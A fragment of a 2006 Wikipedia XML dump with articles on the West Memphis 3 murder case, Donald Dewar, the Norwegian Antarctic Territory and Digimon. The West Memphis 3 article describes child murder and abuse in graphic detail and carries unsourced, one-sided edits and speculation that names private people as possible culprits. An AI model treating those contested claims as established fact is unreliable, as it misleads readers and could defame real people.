| [[Denise Coffey]] -- [[Eric Idle]] --- [[David Jason]] --- [[Terry Jones]] --- [[Michael Palin]]
|}

&lt;br clear=all&gt;

[[Category:ITV television programmes]]
[[Category:Monty Python]]
[[Category:British television sketch shows]]</text>
    </revision>
  </page>
  <page>
    <title>West Memphis 3</title>
    <id>8832</id>
    <revision>
      <id>42162054</id>
      <timestamp>2006-03-04T05:50:05Z</timestamp>
      <contributor>
        <username>Apeloverage</username>
        <id>555651</id>
      </contributor>
      <comment>/* Investigation */</comment>
      <text xml:space="preserve">The '''West Memphis 3''' are three men tried and convicted for triple [[homicide]] in [[1993]] for the murders of three children in the [[Robin Hood Hills]] in [[West Memphis, Arkansas|West Memphis]], [[Arkansas]] in the [[United States]]. 

[[Damien Echols]], the alleged ringleader, was [[capital punishment|sentenced to death]]; [[Jessie Misskelley]] and [[Jason Baldwin]] were sentenced to life in prison.
The case has received considerable attention, and many critics charge that the arrests and convictions were a [[miscarriage of justice]] inspired by a misguided [[moral panic]], and that the defendants were [[wrongful conviction|wrongfully convicted]]. 

==Crime==
Three eight-year-old boys - Steve Branch, Christopher Byers, and Michael Moore - were reported missing on [[May 5]], [[1993]], by Chistopher Byers' adoptive father, Mark Byers. The next day, their bodies were found in a [[Creek (stream)|creek]] near [[Robin Hood Hills]]. They were naked and had been tied ankle-to-wrist with their own shoelaces. All had been severely beaten and abused, but Byers was most injured, suffering a fractured [[skull]], stab wounds to his groin, being [[castrated]], and having the skin of his [[penis]] removed. [[Autopsy|Autopsies]] were inconclusive as to time of death and that, while Byers died of blood loss, the others drowned. During the trial of Damien Echols and Jason Baldwin, however, the medical examiner stated that the likely time of death was the early morning of the day the bodies were found but that time of death estimates are just that, estimates.

It is often alleged that the beginning area police mishandled the crime scene, due to either negligence or ignorance. Such examples of this are police wearing the same shoes and clothes from the crime scene into the Bojangles restaurant bathroom and then Detective Bryn Ridge losing possible blood scrapings taken from the walls and tiles. Human bite marks found on at least one of the victims, according to testimony by experts on forensic odontology and pathology, were also overlooked during the original investigation and never investigated by a board certified medical examiner until four years after the murders. Inspector Gary Gitchell, for example, had more than a decade and a half of experience investigating violent crime. Detective (sgt) Mike Allen had worked in criminal investigations with Crittenden County Sheriff's Department for eight years before he left to join WMPD. Police have been accused of not securing the [[crime scene]], with improperly collecting physical evidence, and with not documenting their duties, but they claim otherwise. For example, once the bodies were discovered, the area was taped off and a list of those who had immediate access to the area the bodies were located was maintained by Detective Diane Hester. An alternate path was made through the woods to avoid the primary routes {{fact}}. 

Mara Leveritt says that &quot;police records were a mess—to call them disorderly would be putting it mildly. However she viewed only a duplicate of the records made available to the public some ten years after they had been examined by newspaper writers and others {{fact}}. She took exception fo the fact that some of the evidence was stored in grocery sacks, with the names of the grocery stores printed on them, despite the fact that this is a common and recommended practice by crime labs to allow the evidence to dry rather than decay in a sealed container. She also mistakenly presumed that the crime scene video was shot minutes after Mike Allen and Bryn Ridge recovered two of the bodies, when in fact the camera was not available for almost thirty minutes afterwards. 

The night of the murders, workers in a fast food restaurant behind which is a primary rail line from out of state, reported an [[African-American]] male, &quot;dazed and covered with blood and mud&quot; who had been inside a women's restroom at a [[restaurant]] near the crime scene. However vagrants were frequently reported fighting in back for discarded food {{fact}}. The following day when the victims were found, an attention seeking restaurant manager named Marty King --thinking there was a possible connection between the bloody, disoriented man and the killings--twice called police. Only after the second telephone call did police gather evidence from the restroom. This apparent neglect of an important lead was especially criticized after a hair identified as belonging to an African-American was recovered from one of the victims' clothes - although in this area there are more black people than white {{fact}}.

==Investigation==
A [[juvenile court|juvenile probation]] officer and many others including volunteer search and rescue workers with no affiliations to law enforcement were present when the bodies were discovered, hardly surprising in light of their role in the search. When police speculated about the assailant, the probation officer speculated that Echols was &quot;capable&quot; of committing the murders. The officer noted that Echols appearance had much in common with students at Marion High School who were often referred to as the &quot;Trench Coat Mafia&quot;, because they wore long black rain coats even during warm and dry weather. 

The [[West Memphis]] area was one of many communities then-swept with keen interest in [[satanic ritual abuse]], the widely-criticized belief that vast networks of satanic [[cult]]s were engaged in widespread crimes, including [[child abuse]], [[rape]] and [[human sacrifice]]. Supporters of the West Memphis Three allege that police reached hasty conclusions based on speculation or hysteria.

Police interviewed Echols on two days after the bodies were discovered. He denied any involvement, but when he subsequently took a polygraph he stopped answering questions when asked &quot;Do you know who commited the murders?&quot; When asked the reason for his silence, he said he did not want to be executed in the electric chair (Arkansas uses lethal injection). After a month had passed, with little progress in the case, police continued to focus their investigation upon Echols, interrogating him twice more as they had many other suspects. 

On [[June 3]], police questioned Misskelley. He had been named as a person who might be able to provide useful information about Damien Echols by Vicky Hutcheson. Hutcheson's testimony would prove pivotal, but years later after serving a lengthy sentence for possession of a controlled substance she retracted her statements, saying police coerced and intimidated her. She also alleges a widespread conspiracy to keep her quiet {{fact}}. Ms. Hutcheson was under investigation by Detective Don Bray of Marion PD for allegedly writing bad checks, an offense for which she was never charged. Misskelley's parents were not present, which in light of his age (17 years old) is not unusual {{fact}}. Only 46 minutes of his confession was recorded, which again is not unusual {{fact}} since he confessed after less than four hours and twenty-seven minutes. During Jessie's trial, Dr. Richard Ofshe, a Pulitzer Prize winning expert on false confessions and police coercion, and Professor of Social Psychology at Berkeley, testified that the brief recording was a &quot;classic example&quot; of police coercion. Professor Ofshe has described Misskelly's statement as &quot;the stupidest fucking confession I've ever seen&quot; [http://www.wm3.org/display/quotes.php?id=42]. There is no evidence that Misskelly denied his role in the crime and subsequent to his conviction he confessed a second and third time, the latter of which with both of his attorneys present and the entire matter on tape. [http://callahan.8k.com/wm3/jmpc.html] [http://callahan.8k.com/wm3/jmfeb.html]

Misskelley is mildly [[mental retardation|mentally challenged]] (his IQ is 72), and was a [[minor]] when he was questioned, and though informed of his [[Miranda warning|Miranda]] rights, later claimed he did not fully understand them; these facts have led to widespread condemnation of his confession as coerced and unreliable. The Arkansas Supreme Court determined, in their lengthy review, that his confession was in fact voluntary and that he did, in fact, understand the warning and it's consequences. Misskelley specifically said he was &quot;scared of Damien&quot;, during his first confession. Portions of Jessie's statements to the police were leaked to the press and reported on the front page of the Memphis Commercial Appeal newspaper before any of the trials began.

Shortly after Misskelley's original confession, police arrested Echols and his close friend Baldwin. 

Misskelley's attorney, Dan Stidham, who was later elected to municipal judge,  has written a detailed critique of what he asserts are major police errors and misconceptions during their investigation.[http://www.wm3.org/live/caseintroduction/synopsis_dan.php]

==Suspects' background==
Baldwin and Misskelley had minor criminal records (for vandalism and [[shoplifting]], respectively) and Misskelley had a reputation for being hot tempered and engaging in frequent fistfights, but Echols had a more troubled past. 

His family was very poor, had frequent visits from [[social work]]ers, and Echols rarely attended school. He had a tumultuous relationship with an on-again-off-again girlfriend, culminating when the pair ran off together. After breaking into a trailer during a rain storm, the pair was arrested, though only Echols was charged with [[burglary]].

Police heard rumors that the young lovers had planned to have a child and sacrifice the infant, and based on this story, had Echols insitutionalized for psychiatric evaluation. He was diagnosed as [[clinical depression|depressed]] and [[suicide|suicidal]], and prescribed [[imipramine]]. Testing demonstrated poor math skills, but also showed that Echols ranked above average in reading and verbal skills. 

He had spent several months in mental institution in both Arkansas and his mental problems were severe enough to gain him &quot;full disability&quot; status from the Social Security Administration. During Echols' trial, Dr. George W. Woods would testify (for the defense) that Echols suffered from a &quot;serious mental illness characterized by grandiose and persecutory delusions, auditory and visual hallucinations, disordered thought processes, substantial lack of insight, and chronic, incapacitating mood swings.&quot;

==Trials==
Echols and Baldwin were tried together; Misskelley was tried separately.

On May 10, 1993, four days after the bodies were found, the police had not solved the cases. When Detective Bryn Ridge questioned Echols, he asked him how he thought the three victims died. Ridge's description of Echols's answer is abstracted as follows: &quot;He stated that the boys probably died of mutilation, some guy had cut the bodies up, heard that they were in the water, they may have drowned. He said at least one was cut up more than the others. Purpose of the killing may have been to scare someone. He believed that it was only one person for fear of squealing by another involved.&quot; At the time Echols made the statement, there was no public knowledge that one of the children had been mutilated more severely than the others.  

Miskelley's confession was also given to the jury. He stated that in the early morning hours of May 5, 1993, he received a phone call from Jason Baldwin. Baldwin asked Miskelley to accompany him and Damien Echols to the Robin Hood area. Miskelley agreed to go. They went to the area, which has a creek, and were in the creek when the victims rode up on their bicycles. Baldwin and Echols called to the boys, who came to the creek. The boys were severely beaten by Baldwin and Echols. At least two of the boys were raped and forced to perform oral sex on Baldwin and Echols. According to Miskelley, he was merely an observer.

While these events were taking place, Michael Moore tried to escape and began running. Miskelley chased him down and returned him to Baldwin and Echols. Miskelley also stated that Baldwin had used a knife to cut the boys in the facial area and that the Byers boy was cut on his penis. Echols used a large stick to hit one of the boys. All three boys had their clothes taken off and were tied up.

According to Miskelley, he ran away from the scene at some point after the boys were tied up. He did observe that the Byers boy was dead when he left. Sometime after Miskelley arrived home, Baldwin called saying, &quot;we done it&quot; and &quot;what are we going to do if somebody saw us.&quot; Echols could be heard in the background. Miskelley was asked about his involvement in a cult. He said he had been involved for about three months. The participants would typically meet in the woods. They engaged in orgies and, as an initiation rite, killing and eating dogs. He noted that at one cult meeting, he saw a picture that Echols had taken of the three boys. He stated that Echols had been watching the boys.

Miskelley then went into further detail about the sexual molestation of the victims. At least one of the boys had been held by the head and ears while being accosted. Both the Byers boy and the Branch boy had been raped. All the boys, he said, were tied up with brown rope.  

Anthony and Narlene Hollingsworth were well acquainted with Echols and testified that they saw Echols and his girlfriend, Domini Teer, walking after 9:30 on the night of the murders near the Blue Beacon Truck Stop, which is near Robin Hood woods where the bodies were found. The witnesses testified that Echols had on a dark-colored shirt and that his clothes were dirty. This evidence placed Echols in dirty clothes near the scene at a time close to the murders. Although not material to this point, other evidence established that Domini Teer might be confused with Baldwin as both had long hair and were of slight build.

Twelve-year-old Christy VanVickle testified that she heard Echols say he &quot;killed the three boys.&quot; Fifteen-year-old Jackie Medford testified that she heard Echols say, &quot;I killed the three little boys and before I turn myself in, I'm going to kill two more, and I already have one of them picked out.&quot; The testimony of these two independent witnesses was direct evidence of the statement by Echols. These witnesses were cross-examined by Echols's counsel.

Lisa Sakevicius, a criminalist from the State Crime Laboratory, testified that she compared fibers found on the victim's clothes with clothing found in Echols's home, and the fibers were microscopically similar.

Dr. Frank Peretti, a State Medical Examiner, testified that there were serrated wound patterns on the three victims. On November 17, 1993, a diver found a knife in a lake behind Baldwin's parents' residence. The large knife had a serrated edge and had the words &quot;Special Forces Survival Roman Numeral Two&quot; on the blade. Dr. Peretti testified that many of the wounds on the victims were consistent with, and could have been caused by, that knife.

Deanna Holcomb testified that she had seen Echols carrying a similar knife, except that the one she saw had a compass on the end. James Parker, owner of Parker's Knife Collector Service in Chattanooga, Tennessee, testified that a company distributed this type of knife from 1985-87. A 1987 catalog from the company was shown to the jury, and it had a picture of a knife like the knife found behind Baldwin's residence. The knife in the catalogue had a compass on the end, and it had the words &quot;Special Forces Survival Roman Numeral Two&quot; on the blade.

The State's theory of motive was that the killings were done in a satanic ritual. On cross-examination, Echols admitted that he has delved deeply into the occult and was familiar with its practices. Various items were found in his room, including a funeral register upon which he had drawn a pentagram and upside-down crosses and had copied spells. A journal was introduced, and it contained morbid images and references to dead children. Echols testified that he wore a long black trench coat even when it was warm. One witness had seen Echols, Baldwin, and Misskelley together six months before the murders, wearing long black coats and carrying long staffs. Dr. Peretti testified that some of the head wounds to the boys were consistent with the size of the two sticks that were recovered by the police.

Dr. Dale Griffis, an expert in occult killings, testified in the State's case-in-chief that the killings had the &quot;trappings of occultism.&quot; He testified that the date of the killings, near a pagan holiday, was significant, as well as the fact that there was a full moon. He stated that young children are often sought for sacrifice because &quot;the younger, the more innocent, the better the life force.&quot; He testified that there were three victims, and the number three had significance in occultism. Also, the victims were all eight years old, and eight is a witches' number. He testified that sacrifices are often done near water for a baptism-type rite or just to wash the blood away. The fact that the victims were tied ankle to wrist was significant because this was done to display the genitalia, and the removal of Byers's testicles was significant because testicles are removed for the semen. He stated that the absence of blood at the scene could be significant because cult members store blood for future services in which they would drink the blood or bathe in it. He testified that the &quot;overkill&quot; or multiple cuts could reflect occult overtones. Dr. Griffis testified that there was significance in injuries to the left side of the victims as distinguished from the right side: People who practice occultism will use the midline theory, drawing straight down through the body. The right side is related to those things synonymous with Christianity while the left side is that of the practitioners of the satanic occult. He testified that the clear place on the bank could be consistent with a ceremony. In sum, Dr. Griffis testified that there was significant evidence of satanic ritual killings.

Lisa Sakevicius, the criminalist who testified about the fibers, stated that Byers's white polka-dot shirt had blue wax on it and that the wax was consistent with candle wax.

Detective Bryn Ridge testified that Echols said he understood the victims had been mutilated, with one being cut up more than the others, and that they had drowned. Ridge testified that when Echols made the statement, the fact that Christopher Byers had been mutilated more than the other two victims was not known by the public.

When Echols was asked about his statement that one victim was mutilated more than the others, he said he learned  the fact from newspaper accounts. His attorney showed him the newspaper articles about the murders. On cross-examination, Echols admitted that the articles did not mention one victim being mutilated more than the others, and he admitted that he did not read such a fact in a newspaper. 

[[Pink Floyd]] lyrics from the suspect's notebooks, [[Stephen King]] novels and Echols' interest in [[heavy metal music]] and [[Wicca]] were also presented in court as evidence against the teenagers. The state's [[expert witness]] on &quot;occult crime&quot; had obtained his degree via mail order, and had taken no [[college]] or [[university]] classes on the subject.

Misskelley's videotaped confession was played for the jury. 

By early 1994, all three had been convicted of the murders.  Echols was sentenced to death, Baldwin received life without parole, and Misskelley received life plus 40 years.

==Aftermath==
Mark Byers--victim Christopher Byers's stepfather--gave a hunting knife to documentarians Joe Berlinger and Bruce Sinofky while they were filming the first ''Paradise Lost'' feature. After noting what they thought was blood, Berlinger and Sinofsky gave the knife to police, who determined that the blood was human and matched Christopher Byers' [[blood type]]. Mark Byers had initially claimed the knife had never been used, then after blood was found on it, he claimed he'd used it only once, to butcher a deer. When told the blood matched his son's type, Mark Byers said he had no idea how that blood might have gotten on the knife. During interrogation, West Memphis police suggested to Mark Byers that he might have left the knife out accidentally, and Byers agreed with this.

There has been speculation that Mark Byers killed the victims, as he had his teeth removed after the first trial - supposedly to avoid their being matched with numerous bite marks found on his stepson's body, as he never offered a consistent reason for their removal. Echols, Misskelley and Baldwin had imprints of their teeth taken (after their imprisonment) and compared to the marks on Chris Byers's body; no matches were found. Mark Byers had revealed to the police that he beat his stepson shortly before the boy disappeared, and had a previous conviction for beating his wife, Melissa Byers. Incidentally, she had contacted Christopher's school a few weeks before the murders. She expressed concerns that her son was being sexually abused.

A violent nature was deemed a major factor in the hypothetical culprits' personality by an expert criminal profiler that examined the case. The profiler also noted that the culprit was likely to have been close to the child that was assaulted with the most violence - Chris Byers.

A fact not revealed until after the trial was that Mark Byers had acted as a police informant for some time, and had several criminal convictions, including the one for domestic abuse. Unusually, these convictions were sealed, and were expunged following probation. Leveritt says that the &quot;involvement of the police and the courts with him (Byers) prior to the murders is very intriguing.&quot;[http://www.popmatters.com/books/interviews/leveritt-mara-030610.shtml]

Christopher Byers was the only victim that had been drugged with Carbamazepine, suggesting again that he was the main focus of the attack. The drug was one that Mark Byers was taking at the time of the murders as part of a tumour treament he was undergoing. Christopher had access to the drug himself, as part of an ADD treatment, but the Byers's said that he had not taken it on the day of his death.

In October, [[2003]] [[Vicki Hutcheson]], whose testimony was used to convict the suspects, gave an interview to the [[Arkansas Times]] in which she stated that every word she had given to the police was a fabrication. She further asserted that the police had insinuated if she did not cooperate with them they would take away her child. She noted that when she visited the police station they had photographs of the suspects on the wall and were using them as dart targets. She also claims that an audio tape the police claimed was &quot;unintelligible&quot; (and eventually lost) was perfectly clear and contained no incriminating statements.

Today, although many of the people directly involved with the case believe the West Memphis Three to be guilty of the crimes they were convicted of (for example, Michael Moore's elder sister, who assaulted Jessie Misskelley's father in early 2005), some called for further investigation into the verdict. The biological father of Christopher Byers, Rick Murray, described his doubts in 2000 on the West Memphis Three website - [http://www.wm3.org/live/thevictims/letter.php]. Many of the controversial elements of the trials have been examined in appeals throughout the Arkansas legal system, with the rulings almost unanimously favoring the prosecution.

At the time of writing, primary forensic evidence tests are underway.

==Documentaries and studies==
Two films, ''[[Paradise Lost: The Child Murders at Robin Hood Hills]]'' and ''[[Paradise Lost 2: Revelations]]'', have documented this case, as have the books ''[[Blood of Innocents]]'' by [[Guy Reel]] and ''[[Devil's Knot]]'' by [[Mara Leveritt]]. The documentary films and Leaveritt's book were strongly critical of the case, and argue that the suspects were wrongly convicted.  Some have been critical of the filmmakers' omission of Echols' history of mental illness.  

Also, [[Damien Echols]] now has an autobiography out, entitled ''Almost Home''.

The first ''Paradise Lost'' documentary was filmed during the trial and investigation.

''Paradise Lost 3'' is currently in production.

Stacey Simmons used the West Memphis 3 case in her dissertation: Contested Suburbs: space and its representation in moral panics.  The study was a comparison of three moral panics in the United States, the West Memphis 3, the [[McMartin preschool trial|McMartin Preschool Case]], and the [[Columbine High School massacre|Columbine Shootings]].  The study concluded that space, the media representation of an area, real income, racial similarity, and other population factors contributed to whether a moral panic would develop into a larger phenomena of metapanic, as happened in Columbine and McMartin, but which was decidedly absent in the West Memphis 3 case.

==Tributes and support==
The case has seen significant support from some rock and pop musicians, who have popularized the case and staged fund-raisers. [[Eddie Vedder]] was often photographed while wearing a &quot;Free The West Memphis 3&quot; shirt. The actress [[Winona Ryder]] has also publicly supported the attempts to obtain a retrial.

[[Metallica]]--Baldwin's favorite musical group--contributed original music to both ''Paradise Lost'' documentaries.

Under the direction of [[Henry Rollins]], various [[hip-hop]], [[Heavy metal music|heavy metal]], [[punk music|punk]], and other musicians came together to record ''Rise Above'', a collection of [[cover songs]] originally performed by [[Black Flag (band)|Black Flag]]. All profits from the record and the supporting tour were donated to the suspects' defense funds.

Another benefit album was [[2000]]'s ''[[Free the West Memphis 3]]'' featuring artists such as [[Steve Earle]],
[[Tom Waits]], [[The Supersuckers]], [[Joe Strummer]], and [[Eddie Vedder]].  This
album was organized by [[Eddie Spaghetti]] of The Supersuckers.

[[Metalcore]] band [[Zao (band)|Zao]] featured a song named &quot;Free the Three&quot; on their 2002 album ''Parade of Chaos''.

In [[2003]] a benefit exhibition titled ''Cruel And Unusual'' was held at the [[Los Angeles]] art gallery [[sixspace]] which was hosted by [[Winona Ryder]] and included artwork by [[Raymond Pettibon]], [[Shepard Fairey]], [[Marilyn Manson]] and others. The exhibition also included a series of talks by lawyers involved with the case and public figures such as [[Jello Biafra]].

[[Alkaline Trio]] have a song &quot;Prevent This Tragedy&quot; on their [[2005]] album ''[[Crimson]]'' about the West Memphis Three.

==External links==
*[http://www.wm3.org West Memphis 3 Support Group]
*[http://www.crimelibrary.com/notorious_murders/famous/memphis/index_1.html West Memphis 3] at the [[Court TV]] Crime Library
*{{dmoz|Society/Issues/Crime_and_Justice/Injustice/Individual_Stories/United_States/West_Memphis_Three/|West Memphis 3}}
*{{imdb title|id=0117293|title=Paradise Lost: The Child Murders at Robin Hood Hills}}
*{{imdb title|id=0239894|title=Paradise Lost 2: Revelations}}

[[Category:Disputed convictions]]
[[Category:History of Arkansas]]
[[Category:Murder]]</text>
    </revision>
  </page>
  <page>
    <title>Donald Dewar</title>
    <id>8833</id>
    <revision>
      <id>42157451</id>
      <timestamp>2006-03-04T04:59:36Z</timestamp>
      <contributor>
        <username>Michael Drew</username>
        <id>335298</id>
      </contributor>
      <minor />
      <comment>Added Category</comment>
      <text xml:space="preserve">[[Image:Wfm donald dewar statue.jpg|thumb|right|Statue of Donald Dewar in Glasgow's Buchanan Street]]

[[The Right Honourable]] '''Donald Campbell Dewar''' ([[August 21]], [[1937]] &amp;ndash; [[October 11]], [[2000]]) was a [[Scotland|Scottish]] [[politician]] and the first [[First Minister of Scotland]] after [[devolution]] in [[1999]].

== Biography ==
Born in [[Glasgow]], he attended [[Glasgow Academy]] before studying at the [[University of Glasgow]], where he gained both [[Bachelor of Laws|LLB]] and [[Master of Arts (postgraduate)|MA]] degrees. Here, he met his close friend [[John Smith (UK politician)|John Smith]]&amp;mdash;who would later become leader of the [[British Labour Party]]&amp;mdash;through the debating society.  In his time at university he also served as President of the [[Glasgow University Union]].

A member of the [[Labour Party (UK)]] at both Scottish and UK levels, Donald Dewar worked as a [[solicitor]] in Glasgow before being elected at the age of 28 in the [[1966 General Election]] to the [[Parliament of the United Kingdom]] at Westminster to represent the marginal [[constituency]] of [[Aberdeen South (UK Parliament constituency)|Aberdeen South]]. In [[1967]] he was made [[Private Parliamentary Secretary]] to the [[Education Secretary]] [[Anthony Crosland]], who Dewar confessed later to never really establishing a rapport with.

Despite his early political success, his personal life was less happy. He married Alison McNair on [[20 July]] [[1964]] and had two children with her, but in [[1970]] she left him for the Scottish lawyer [[Derry Irvine]].  The two men remained unreconciled even though they were later to serve in the same [[Cabinet]] from [[May]] [[1997]] onwards. [[1970]] was a black year for Dewar. As well as his wife leaving him, he lost his parliamentary seat in the [[1970 General Election]] and was laid up with back trouble.  He and his wife divorced in [[1973]] and Dewar never remarried.

After a political hiatus during the 1970s, Donald Dewar was returned to Westminster as the Member of Parliament for [[Glasgow Garscadden]] in [[1978]]. He rose quickly through the ranks, becoming a member of the [[Shadow Cabinet]] in [[1984]]. In [[1992]] John Smith made him Shadow [[Social Security]] Security. In [[1995]], Dewar was made a Chief Whip for the Labour Party by [[Tony Blair]], and when the Labour Party was declared the majority party in the [[1997]] election, he was given the post of [[Secretary of State for Scotland]].

By this stage, Dewar was in a position which the late John Smith would never have thought possible. He was able to start the devolution process, and worked endlessly on creating the [[Scotland Act]], popularly known as Smith's &quot;unfinished business&quot;. When ratified, this was to give Scotland its first [[Scottish Parliament|Parliament]] for nearly 300 years.

When the first elections for the new Scottish parliament were held in 1999, Dewar was returned as the Member for [[Glasgow Anniesland (Scottish Parliament constituency)|Glasgow Anniesland]], and subsequently elected [[First Minister of Scotland|First Minister]] for the governing Scottish Labour Party/Liberal Democrat coalition.

A man with endless enthusiasm, the strain of establishing the new Parlimament would begin to take its toll, and Dewar underwent major open heart surgery in May 2000. He returned to his post as First Minister three months later. On [[10 October]] that year, he suffered a massive [[brain hemorrhage]] which was triggered by the [[anticoagulant]] medication he was taking after the surgery. He died a day later, in Edinburgh's Western General Hospital, at the age of 63. His funeral service was held at Glasgow Cathedral, amid scenes of mourning in Scotland's largest city unbeknown for a politician. He was cremated and his ashes scattered at Lochgilphead.

''Although he has become something of a political legend, Donald would have abhorred any attempt to turn him into some kind of secular saint. He would have been horrified at a Diana-style out-pouring of synthetic grief at his untimely death.'' -- Iain MacWhirter, Sunday Herald, [[October 15]] [[2000]].

Donald Dewar's work for the Scottish Parliament has led him to be called the &quot;[[Father of the Nation]]&quot;. He certainly cared deeply for his consitituents, while his slightly unkempt appearance endeared him to many a British citizen.

In May 2002, the Prime Minister, [[Tony Blair]] unveiled a statue of Dewar at the top of Glasgow's [[Buchanan Street]] &amp;mdash; and in keeping with his famous unkempt appearance, it showed Dewar wearing a slightly crushed jacket. The statue was taken down in October [[2005]] to be cleaned and was re-erected on 6 foot high plinth in December of the same year. On the base of the statue was inscribed the opening words of the Scotland Act: ''There Shall Be A Scottish Parliament'', a phrase to which Dewar himself famously said ''I Like That!'' .

{{start box}}
{{succession box | title=[[Aberdeen South (UK Parliament constituency)|Member for Aberdeen South]] | years=1966&amp;ndash;1970 | before=[[Priscilla Buchan, Baroness Tweedsmuir of Belhevie|Lady Tweedsmuir]] | after=[[Iain Sproat]]}}
{{end box}}

{{start box}}
{{succession box | title=[[Secretary of State for Scotland]] | before=[[Michael Forsyth]] | after=[[John Reid (UK politician)|Dr John Reid]] | years=1997&amp;ndash;1999}}
{{succession box | title=[[First Minister of Scotland]] | before=&amp;mdash; | after=[[Henry McLeish]] | years=1999&amp;ndash;2000}}
{{end box}}
[[Category:1937 births|Dewar, Donald]]
[[Category:2000 deaths|Dewar, Donald]]
[[Category:Glaswegians|Dewar, Donald]]
[[Category:British MPs|Dewar, Donald]]
[[Category:UK Labour Party politicians|Dewar, Donald]]
[[Category:British Secretaries of State|Dewar, Donald]]
[[Category:Scottish politicians|Dewar, Donald]]
[[Category:Members of the Scottish Parliament|Dewar, Donald]]
[[Category:Debaters||Dewar, Donald]]
[[Category:First Ministers of Scotland|Dewar, Donald]]
[[Category:Members of the Privy Council|Dewar, Donald]]</text>
    </revision>
  </page>
  <page>
    <title>Norwegian Antarctic Territory</title>
    <id>8834</id>
    <revision>
      <id>36281894</id>
      <timestamp>2006-01-22T23:44:16Z</timestamp>
      <contributor>
        <username>BL Lacertae</username>
        <id>341494</id>
      </contributor>
      <minor />
      <comment>stubsort</comment>
      <text xml:space="preserve">The '''Norwegian Antarctic Territory''' is an area in the [[Antarctic]] which is claimed by [[Norway]]. It consists of [[Dronning Maud Land]], [[Bouvet Island]] and [[Peter I Island]]. Its total area exceeds 2.500.000 km². Dronning Maud Land is a sector on the Antarctic continent. Peter I Island is the only Antarctic claim area under the [[Antarctic Treaty]] that is not a sector like all the other areas claimed under the Antarctic Treaty. Bouvet Island is not subject to the Antarctic treaty as it lies outside the area the treaty covers.

==History==
On [[14 December]] [[1911]] five Norwegians, under the leadership of [[Roald Amundsen]], are the first to reach the [[South Pole]]. 

Bouvet Island was claimed in [[1927]] (formally in [[1930]]; in [[1935]] the island is made a natural reserve for seals). 

Peter I Island was claimed in [[1929]] (formally in [[1931]]). 

Dronning Maud Land (45°E to 20°E) was formally claimed as a Norwegian possession on [[14 January]] [[1938]].


{{antarctica-geo-stub}}
{{norway-stub}}
{{Antarctica claims}}
{{Norway OT}}
[[Category:Norwegian dependencies]]
[[Category:Geography of Antarctica]]</text>
    </revision>
  </page>
  <page>
    <title>Digimon</title>
    <id>8835</id>
    <revision>
      <id>41986326</id>
      <timestamp>2006-03-03T01:31:12Z</timestamp>
      <contributor>
        <username>Circeus</username>
        <id>98785</id>
      </contributor>
      <comment>Revert to revision 41925771 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:LOGODIGIMON.jpg|right]]
{{nihongo|'''Digimon'''|デジモン|''dejimon''}} (short for ''Digital Monster'') is a [[Japan]]ese series of children's merchandise, including toys, [[manga]] and [[anime]], featuring monsters of various forms living in a &quot;Digital World&quot;. Digimon contains many of the typical themes associated with [[mon (monster)]].

==Overview==
Digimon started out as a dueling digital pet or [[Tamagotchi]] called &quot;Digital Monster&quot; that was released by [[Bandai]] on [[June 26]], [[1997]]. The Digital Monster toy was enormously successful, and four different colors of the toy were released in November of the same year. In December of the same year, the second generation of &quot;Digital Monster&quot; was released. Many have criticized it as a spin-off of [[Pokémon]], as the Tamagotchi was came out in 1997 as opposed to 1996, though it became popular in the United States before the latter. It should be noted that the Tamagotchi bares little resemblance to the Digimon TV show or card game. Digimon and [[Pokémon]] may have a few factors in common (being marketed toward children in North America and being part of the same [[Mon (monster)|genre]]), but differ in original target audience, concept, spirit and design.

Digimon first appeared in illustrated form with the advent of the [[One_shot_(comic)|one-shot]] [[manga]] ''C'mon Digimon,'' which was released in summer [[1997]]. ''C'mon Digimon'' spawned the popular ''Digimon Adventure V-Tamer 01'' manga series, which began on [[November 21]], [[1998]]. Digimon first appeared in game form on [[January 28]], [[1999]] with the release of the popular [[Digimon World]] game for [[PlayStation]] and made its first foray into animation a few months later.

==TV series==
{{main|Digimon: Digital Monsters (anime)}}
Following the release of the first Digimon movie in [[Japan]] in 1999, the first ''Digimon'' television series, ''[[Digimon Adventure]]'' began airing on [[Fuji Television|Fuji TV]] in March of the same year; three other series followed in consecutive years: ''[[Digimon Adventure 02]]'', ''[[Digimon Tamers]]'' and ''[[Digimon Frontier]]''. ''Adventure 02'' is a continuation of ''Adventure''. ''Tamers''' only connection to the Adventure series is the character Ryou, whose story was explained through the Digimon games for Bandai's [[WonderSwan]]. ''Frontier'' has no connections to the other three series. Additionally, there have been eight individual ''Digimon'' films released in Japan with all but the eighth spinning out of the assorted TV series. All the movies, except the eighth, have been dubbed and distributed internationally. The Digimon run ended with Frontier's 50th Episode (205th overall), [[End of the Line (Digimon)| End of the Line]]. There is also now news that ''Frontier'' is not the final anime series; at Jump Festa 2006, it was confirmed that the fifth series will air on April 2 2006 on Fuji TV, tentatively titled ''[[Digimon Savers]]''.


== Comics ==

===C'mon Digimon===
In summer [[1997]], a one-shot manga involving battles between more-or-less holographic Digimon was planned, but apparently never got off the ground. However, this manga was published as a special in volume two of V-Tamer, and there it was revealed the hero of this manga, Kentarou, was the source and inspiration for the design and character of Taichi, the hero of V-Tamer and the leader of the Chosen Children in ''Digimon Adventure''.

===Digimon Adventure V-Tamer 01===
''V-Tamer'' was the first and longest-running Digimon [[manga]], printed in the pages of [[V-Jump]] magazine. Starting on [[November 21]] [[1998]], it ran to fifty-eight chapters and ended on [[August 21]] [[2003]]. This manga introduces the character of Taichi - although it must be noted that he is not the same Taichi that features in the ''Digimon Adventure'' TV series even though both are quite similar in appearance and personality. ''V-Tamer'' takes place in an alternate universe.

In this universe, Taichi is involved in a V-Pet tournament, where he is told he cannot play because the Digimon in his V-Pet isn't recognized as being a real Digimon. However, after the tournament is over, Taichi plays the winner of the tournament, a boy named Neo Saiba, and their battle ends in a tie - something that is supposed to be impossible. Later, Taichi is summoned to the Digital World by a [[HolyAngemon]] called Lord HolyAngemon, and there he meets the mysterious Digimon in his V-Pet, Zeromaru the [[Veedramon|V-dramon]]. Taichi and Zeromaru travel to Lord HolyAngemon's castle with the aid of Gabo the Gabumon, and there Lord HolyAngemon begs Taichi to find the five Tamer Tags and defeat the evil [[Daemon (Digimon)|Demon]], who has disrupted the peace of the Digital World.

